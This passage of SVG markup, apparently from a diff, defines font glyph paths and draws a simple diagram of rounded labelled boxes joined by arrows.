6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 6.765625 -3.984375 L 2.75 -3.984375 L 1.609375 0 L 0.109375 0 L 4.390625 -14.453125 L 5.21875 -14.453125 L 9.515625 0 L 7.921875 0 Z M 3.15625 -5.34375 L 6.40625 -5.34375 L 5.15625 -9.734375 L 4.78125 -11.875 L 4.734375 -11.875 L 4.34375 -9.703125 Z M 3.15625 -5.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-18"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-19"> +<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-20"> +<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -7.8125 L 7.296875 -7.8125 L 7.296875 -6.40625 L 2.828125 -6.40625 L 2.828125 0 L 1.296875 0 Z M 1.296875 -14.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-21"> +<path style="stroke:none;" d="M 3.71875 4.46875 C 3.207031 3.820312 2.773438 3.109375 2.421875 2.328125 C 2.078125 1.546875 1.796875 0.75 1.578125 -0.0625 C 1.367188 -0.882812 1.210938 -1.710938 1.109375 -2.546875 C 1.015625 -3.378906 0.96875 -4.175781 0.96875 -4.9375 C 0.96875 -5.6875 1.015625 -6.472656 1.109375 -7.296875 C 1.210938 -8.117188 1.367188 -8.945312 1.578125 -9.78125 C 1.796875 -10.613281 2.082031 -11.429688 2.4375 -12.234375 C 2.800781 -13.035156 3.242188 -13.78125 3.765625 -14.46875 L 4.671875 -13.921875 C 4.242188 -13.234375 3.882812 -12.507812 3.59375 -11.75 C 3.3125 -10.988281 3.082031 -10.21875 2.90625 -9.4375 C 2.738281 -8.664062 2.617188 -7.894531 2.546875 -7.125 C 2.472656 -6.351562 2.4375 -5.625 2.4375 -4.9375 C 2.4375 -4.289062 2.476562 -3.578125 2.5625 -2.796875 C 2.644531 -2.015625 2.773438 -1.226562 2.953125 -0.4375 C 3.140625 0.34375 3.375 1.101562 3.65625 1.84375 C 3.9375 2.59375 4.273438 3.265625 4.671875 3.859375 Z M 3.71875 4.46875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-22"> +<path style="stroke:none;" d="M 0.96875 3.859375 C 1.363281 3.265625 1.703125 2.59375 1.984375 1.84375 C 2.273438 1.101562 2.507812 0.34375 2.6875 -0.4375 C 2.875 -1.226562 3.007812 -2.015625 3.09375 -2.796875 C 3.175781 -3.578125 3.21875 -4.289062 3.21875 -4.9375 C 3.21875 -5.625 3.175781 -6.351562 3.09375 -7.125 C 3.019531 -7.894531 2.898438 -8.664062 2.734375 -9.4375 C 2.566406 -10.21875 2.335938 -10.988281 2.046875 -11.75 C 1.753906 -12.507812 1.394531 -13.234375 0.96875 -13.921875 L 1.890625 -14.46875 C 2.398438 -13.78125 2.832031 -13.035156 3.1875 -12.234375 C 3.550781 -11.429688 3.84375 -10.613281 4.0625 -9.78125 C 4.28125 -8.945312 4.4375 -8.117188 4.53125 -7.296875 C 4.625 -6.472656 4.671875 -5.6875 4.671875 -4.9375 C 4.671875 -4.175781 4.625 -3.378906 4.53125 -2.546875 C 4.4375 -1.710938 4.28125 -0.882812 4.0625 -0.0625 C 3.84375 0.75 3.554688 1.546875 3.203125 2.328125 C 2.859375 3.109375 2.4375 3.820312 1.9375 4.46875 Z M 0.96875 3.859375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-23"> +<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-24"> +<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-25"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-26"> +<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-27"> +<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-28"> +<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/> +</symbol> +</g> +</defs> +<g id="surface5171"> +<rect x="0" y="0" width="1101" height="520" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 0 0 L 55 0 L 55 25.932422 L 0 25.932422 Z M 0 0 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 44.3 16.932422 C 44.134375 16.932422 44 17.066797 44 17.232422 L 44 19.817773 C 44 19.983398 44.134375 20.117773 44.3 20.117773 L 49.7 20.117773 C 49.865625 20.117773 50 19.983398 50 19.817773 L 50 17.232422 C 50 17.066797 49.865625 16.932422 49.7 16.932422 Z M 44.3 16.932422 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="893.851562" y="379.490723"/> + <use xlink:href="#glyph0-2" x="901.390082" y="379.490723"/> + <use xlink:href="#glyph0-3" x="910.168294" y="379.490723"/> + <use xlink:href="#glyph0-4" x="918.946506" y="379.490723"/> + <use xlink:href="#glyph0-5" x="923.355957" y="379.490723"/> + <use xlink:href="#glyph0-6" x="932.276313" y="379.490723"/> + <use xlink:href="#glyph0-7" x="936.584039" y="379.490723"/> + <use xlink:href="#glyph0-8" x="943.451986" y="379.490723"/> + <use xlink:href="#glyph0-9" x="952.270888" y="379.490723"/> + <use xlink:href="#glyph0-9" x="959.15918" y="379.490723"/> + <use xlink:href="#glyph0-10" x="966.047472" y="379.490723"/> + <use xlink:href="#glyph0-7" x="974.439399" y="379.490723"/> + <use xlink:href="#glyph0-7" x="981.307346" y="379.490723"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.3 21.932422 C 15.134375 21.932422 15 22.066797 15 22.232422 L 15 24.817773 C 15 24.983398 15.134375 25.117773 15.3 25.117773 L 20.7 25.117773 C 20.865625 25.117773 21 24.983398 21 24.817773 L 21 22.232422 C 21 22.066797 20.865625 21.932422 20.7 21.932422 Z M 15.3 21.932422 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="317.015625" y="479.490723"/> + <use xlink:href="#glyph0-2" x="324.554145" y="479.490723"/> + <use xlink:href="#glyph0-3" x="333.332357" y="479.490723"/> + <use xlink:href="#glyph0-4" x="342.110569" y="479.490723"/> + <use xlink:href="#glyph0-5" x="346.52002" y="479.490723"/> + <use xlink:href="#glyph0-6" x="355.440375" y="479.490723"/> + <use xlink:href="#glyph0-11" x="359.748101" y="479.490723"/> + <use xlink:href="#glyph0-12" x="364.970269" y="479.490723"/> + <use xlink:href="#glyph0-4" x="373.098253" y="479.490723"/> + <use xlink:href="#glyph0-13" x="377.507704" y="479.490723"/> + <use xlink:href="#glyph0-8" x="382.242133" y="479.490723"/> + <use xlink:href="#glyph0-14" x="391.061035" y="479.490723"/> + <use xlink:href="#glyph0-10" x="396.628526" y="479.490723"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 47.016406 20.167969 L 47.032227 21.733203 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 46.782227 21.735547 L 47.037305 22.233008 L 47.282227 21.730664 Z M 46.782227 21.735547 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.05 23.522852 L 43.5 23.505469 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.500195 23.755469 L 44 23.505078 L 43.499805 23.255469 Z M 43.500195 23.755469 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 